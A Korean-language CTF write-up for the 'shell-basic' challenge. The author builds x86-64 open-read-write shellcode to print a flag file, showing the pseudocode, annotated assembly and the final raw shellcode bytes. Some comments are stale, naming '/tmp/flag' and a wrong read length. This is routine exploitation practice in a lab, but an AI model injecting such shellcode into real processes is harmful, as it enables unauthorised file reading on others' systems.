shell-basic

execve 사용이 안되니까 orw 사용해야될듯
파일 위치 이 /home/shell_basic/flag_name_is_loooooong

fd = open("/home/shell_basic/flag_name_is_loooooong", O_RDONLY, 0)
read_data = read(fd, buffer, 128)
print_data = write(1, buffer, len(read_data))

를 어셈블러로 변환
shellcode 강의 참고해서 작성

리틀 엔디안 적용해서 8바이트씩 끊어서 반대로 입력해줘야 함

xor rax, rax    ; rax = 0
push rax        ; 스택에 rax의 값 저장('\0')
mov rax, 0x676E6F6F6F6F6F6F    ; rax = "gnoooooo"
push rax                       ; 스택에 rax의 값 저장
mov rax, 0x6C5F73695F656D61    ; rax = "l_si_ema"
push rax                       ; 스택에 rax의 값 저장
mov rax, 0x6E5F67616C662F63    ; rax = "n_galf/c"
push rax                       ; 스택에 rax의 값 저장
mov rax, 0x697361625F6C6C65    ; rax = "isab_lle"
push rax                       ; 스택에 rax의 값 저장
mov rax, 0x68732F656D6F682F    ; rax = "hs/emoh/"
push rax                       ; 스택에 rax의 값 저장
mov rdi, rsp    ; rdi = "/tmp/flag" ;rdi 설정
xor rsi, rsi    ; rsi = 0 ; RD_ONLY
xor rdx, rdx    ; rdx = 0
mov rax, 2      ; rax = 2 ; syscall_open 
syscall         ; open("/tmp/flag", RD_ONLY, NULL)

mov rdi, rax      ; rdi = fd
mov rsi, rsp  
mov rdx, 4096    
mov rax, 0x0      ; rax = 0        ; syscall_read
syscall           ; read(fd, buf, 0x128)

mov rdi, 1        ; rdi = 1 ; fd = stdout
mov rdx, rax
mov rax, 0x1      ; rax = 1 ; syscall_write
syscall           ; write(fd, buf, 0x128

오류 떠서 라업 참고했더니 elf64로 설정함

.text만 뜨기

16진수 값 출력

\x48\x31\xc0\x50\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\xba\x00\x10\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\x48\x89\xc2\xb8\x01\x00\x00\x00\x0f\x05